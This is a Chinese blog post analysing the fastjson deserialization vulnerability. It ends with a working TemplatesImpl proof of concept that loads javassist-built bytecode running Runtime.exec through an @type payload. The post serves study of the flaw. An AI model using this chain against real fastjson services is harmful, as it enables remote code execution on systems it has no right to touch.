fastjson反序列化分析

1.fastjson简单使用

User:

package com.naihe;public class User {private String name;private int age;public User() {}public User(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}

Demo:

package com.naihe;import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;public class FS {public static void main(String[] args) {User user1 = new User("小李",10);String JsStr1= JSONObject.toJSONString(user1);System.out.println(JsStr1);User user2 = new User("大李",100);String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);System.out.println(JsStr2);String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";Object obj1 = JSONObject.parse(str);System.out.println(obj1);Object obj2 = JSONObject.parseObject(str);System.out.println(obj2);}
}

在这里插入图片描述

2.反序列化漏洞分析

由于fastjson调试起来过程比较复杂,在这里直接看关键点:
首先会获取字符串的第一对引号中的内容

在这里插入图片描述

如果内容为@type就会加载下一对引号中的类

在这里插入图片描述

在这里插入图片描述

在JavaBeanInfo.class中会获取类中所有详细详细
在这里匹配以set开头的方法

在这里插入图片描述

这里判断函数名长度大于4,且以set开头,非静态函数,返回类型为void或当前类参数个数为1个的方法

在这里插入图片描述

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) && 
(method.getReturnType().equals(Void.TYPE) || 
method.getReturnType().equals(method.getDeclaringClass())))

函数名长度大于等于4非静态方法,以get开头且第4个字母为大写,无参数,返回值类型继承自Collection或Map或AtomicBoolean,或Atomiclnteger或AtomicLon的方法

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) && 
methodName.startsWith("get") && 
Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 && 
(Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || 
AtomicBoolean.class == method.getReturnType() || 
AtomicInteger.class == method.getReturnType() || 
AtomicLong.class == method.getReturnType()))

其实本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作
因此我们只需要找到满足条件的类就行,这里一般利用的是 TemplatesImpl链来加载字节码,从而rce等操作
下面我们来证明一下我们的观点
在setter方法中添加一段命令执行的代码

package com.naihe;public class User {private String name;private int age;public User() {}public User(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;Runtime.getRuntime().exec("clac");}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}

Demo:

package com.naihe;import com.alibaba.fastjson.JSONObject;public class Demo1 {public static void main(String[] args) {String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";Object obj1 = JSONObject.parse(str);}
}

在这里插入图片描述

3.字节码加载

1.利用defineClass加载字节码

package com.naihe;import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class DC {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {//通过字节码构建恶意类ClassPool classPool=ClassPool.getDefault();String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] code=payload.toBytecode();Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);yyds.newInstance();}
}

在这里插入图片描述

2.利用TemplatesImpl加载字节码

package com.naihe;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;import java.lang.reflect.Field;
import java.util.Base64;public class TL {private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, fieldValue);}public static void main(String[] args) {try {ClassPool classPool=ClassPool.getDefault();String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] codes=payload.toBytecode();byte[][] _bytecodes = new byte[][] {codes,};TemplatesImpl templates = new TemplatesImpl();setFiledValue(templates, "_bytecodes", _bytecodes);setFiledValue(templates, "_name", "whatever");setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();} catch (Exception e) {e.printStackTrace();}}}

poc:

package com.naihe;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.util.Base64;public class fastjson {    public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {        ParserConfig config = new ParserConfig();        ClassPool classPool=ClassPool.getDefault();        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";        classPool.appendClassPath(AbstractTranslet);        CtClass payload=classPool.makeClass("CommonsCollections3");        payload.setSuperclass(classPool.get(AbstractTranslet));        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");        String str = Base64.getEncoder().encodeToString(payload.toBytecode());        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);    }}

3.利用分析

fastjosn一般是使用TemplatesImpl链来进行攻击的,在上面其实已经分析过fastjson在反序列化的时候会调用满足条件的getter方法,因此就会调用TemplatesImpl类的getOutputProperties方法,然后通过getOutputProperties,调用newTransformer

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

仔细观察就会发现poc中将byte进行了base64加密,那么这是为什么了?
在调用deserialze时会执行base64解密

在这里插入图片描述

在这里插入图片描述

造成_bytecodes需要进行base64编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358062.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

银行家算法:解决多线程死锁问题

死锁: 死锁产生的现场:当A进程P S2信号量而B进程P S1信号量时就会产生死锁,因为S2信号量需要B进程释放,而S1信号量需要A进程释放,因此两个进程都在等相互的资源,造成死锁。 死锁产生的条件: 互斥…

转:巧用搜狗输入法输入英文单词

转: http://www.techweb.com.cn/digi/experience/2013-06-03/1300700.shtml 你是否遇到过这样的情形:想打一个英文单词,但是忘了具体拼写是什么,只是记了个大概?比如“竞争”,到底是competetion还是competition呢?又…

服务器ping不通的解决办法之阿里云云服务器VNC报错Failed to execute /sbin/init

背景:最近买了一个阿里云的云服务器,今天想安装阿里云的操作文档搭建一个博客网站来着,发现服务器公网IP都ping不通 解决办法参考: 方法一:如何解决ping请求超时的问题 方法二:本地ping服务器连接不到,总是超时 我的防火墙已经关闭,内网切换移动网络也不行,安全组…

从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞(freemarker模板)

https://www.cnvd.org.cn/flaw/show/CNVD-2019-08488 思路: 1、pom.xml的时候发现存在模版引擎freemarker http://t.zoukankan.com/Eleven-Liu-p-12747908.html 2、寻找修改模版的地方 TemplateController.java 3、添加执行Payload <#assign ex“freemarker.template.utilit…

Goby反制复现

0x00 前言 最近复现Goby反制的时候遇到很多坑&#xff0c;记录一下反制过程以及遇到的坑点&#xff0c;还有世界上最强的黑客mux1ng帮我解决了很多问题。 0x01环境 攻击机&#xff1a; windows10 Goby1.8.230 172.20.10.3反制机&#xff1a; Windows7 Phpstudy2016 172.20.…

fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御

一.编辑器漏洞 1.编辑器 编辑器属于第三方软件&#xff0c;它的作用是方便网站管理员上传或编辑网站上的内容&#xff0c;类似我们电脑上的Word文档。 编辑器通常分为两种情况&#xff1a; (1) 不需要后台验证&#xff0c;可以直接在前台访问且操作。通过方法找到编辑器&#x…

畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现

一、漏洞描述 2022年8月29日和8月30日&#xff0c;畅捷通公司紧急发布安全补丁修复了畅捷通T软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞&#xff0c;通过绕过系统鉴权&#xff0c;在特定配置环境下实现任意文件的上传&#xff0c;从而执行任意代码&#xff0c;获得…

不喜欢节流吗?

您别无选择–基础系统&#xff08;此处的JVM将为您完成此选择&#xff09;。 我仍然记得2013年夏天&#xff0c;当时我正在运行一个项目&#xff0c;整个应用程序中只有1个URL使服务器瘫痪。 问题很简单-机器人决定以很高的速率索引我们的网站&#xff0c;并且该机器人正在创建…

OData V4 系列 查询操作

OData 学习目录 对OData的操作&#xff0c;主要是查询&#xff0c;下面把相关的查询情况列出来&#xff0c;供参考学习&#xff0c;每个操作都有对应的截图&#xff0c;便于理解 默认查询 $expand 查询导航属性关系 &#xff0c;查询Product相关的Supplier $top、$skip、$orde…

JSP项目打开不通的查看详情页动画是放大状态的解决办法

背景:前段时间做了一个详情页在当前页面的放大缩小的动画效果,——>我是如何用Jquery实现网页缩小放大的 今天测试反馈:详情页是缩小状态,点击关闭后打开其他的查看详情页页面,还是默认的缩小状态,需要做成,每次打开默认是放大的效果。 截图: 这个系统比较老,boots…

gorm 密码字段隐藏_KeeWeb for mac(密码管理工具)

KeeWeb是一个非常专业的密码管理工具。这款工具支持Mac OS X&#xff0c;Windows和Linux平台&#xff0c;不需要任何安装和工作在所有现代浏览器&#xff0c;搜索任何条目或查看所有文件中的所有项目作为一个列表。功能非常强大实用。本站现在提供KeeWeb Mac版下载&#xff0c;…

Centos7下按装Docker和docker-compose及环境配置

删除之前安装的 sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-selinux \docker-engine-selinux \docker-engineyum remove docker-ce docker-ce-selinux container-selin…

你也在你的应用上添加B站上的弹幕效果

背景:现在弹幕已成为各大视频网站的标配,其实,弹幕最早是诞生于日本的一个二次元网站Niconico。后来A站和B站将其引入,开启了国内弹幕文化的先河。 开源地址:https://github.com/zerosoul/rc-bullets 相比点赞、转发、评论,弹幕的形式让用户的互动性更强,因此也更受大家…

google earth pro 64位_七彩虹秀精准刀工!iGame RTX 3060 Ti Advanced OC评测:烤机3小时64度...

一、前言&#xff1a;精准控制散热 七彩虹展现神奇刀法这次没有让大家等太久&#xff0c;在RTX 3080上市仅仅2个月之后&#xff0c;RTX 3060 Ti也终于来到了大家面前。这也是安培构架第一款售价在3000元以下的甜点产品。七彩虹公司也同步发售了5款iGame RTX 3060 Ti系列显卡&am…

流性能

当我阅读Angelika Langer的Java性能教程时-Java 8流有多快&#xff1f; 我简直不敢相信&#xff0c;对于一个特定的操作&#xff0c;它们花费的时间比循环要长15倍。 流媒体性能真的会那么糟糕吗&#xff1f; 我必须找出答案&#xff01; 巧合的是&#xff0c;我最近观看了一个…

Redis-cluster集群【第一篇】:redis安装及redis数据类型

Redis介绍&#xff1a; 一、介绍redis 是一个开源的、使用C语言编写的、支持网络交互的、可以基于内存也可以持久化的Key-Value数据库。redis的源码非常简单&#xff0c;只要有时间看看谭浩强的C语言&#xff0c;在去看redis的源码能看懂50-60%。redis目前最大的集群应该是新浪…

ad10怎么挖铺的铜_黄金怎么验真假,简单易行方法多。

在当今社会&#xff0c;随着人们生活水平的提高&#xff0c;大家越来越追求生活的质量。也就形成了我们在生活中想通过各种细节丰富我们的生活&#xff0c;提升我们的生活情趣。导致我们对物质的追求也上了一个台阶&#xff0c;相比之下黄金市场的需求也大大增加。而我们大家的…

CMD启动mysql服务“发生系统错误 5”的解决办法

背景&#xff1a;cmd进入&#xff0c;启动mysql报&#xff1a;发生系统错误 5 问题&#xff1a; 解决办法&#xff1a; 找到cmd.exe的位置&#xff0c;不好找请使用以下命令。 找到文件&#xff0c;右键以管理员身份运行即可。

roads 构筑极致用户体验_坚持用户思维 推动领克汽车逆势突围

【2020年7月9日&#xff0c;杭州】近日&#xff0c;全球新高端品牌—领克公布了2020年6月销量数据。领克汽车6月实现月销量达13214辆&#xff0c;环比增长约2%&#xff0c;同比增长约53%&#xff0c;连续三个月获得双增长&#xff0c;并创下过去七个月以来最高月销量表现。2020…

微信小程序【WXSS 文件编译错误】unexpected “?“at pos 1的解决办法。

问题&#xff1a; 解决办法&#xff1a; 在控制台输入 openVendor() &#xff0c;清除里面的 wcsc wcsc.exe 然后重启工具。 如果涉及编码格式乱码的&#xff0c;请手动改为uft-8. 问题&#xff1a; 解决办法&#xff1a;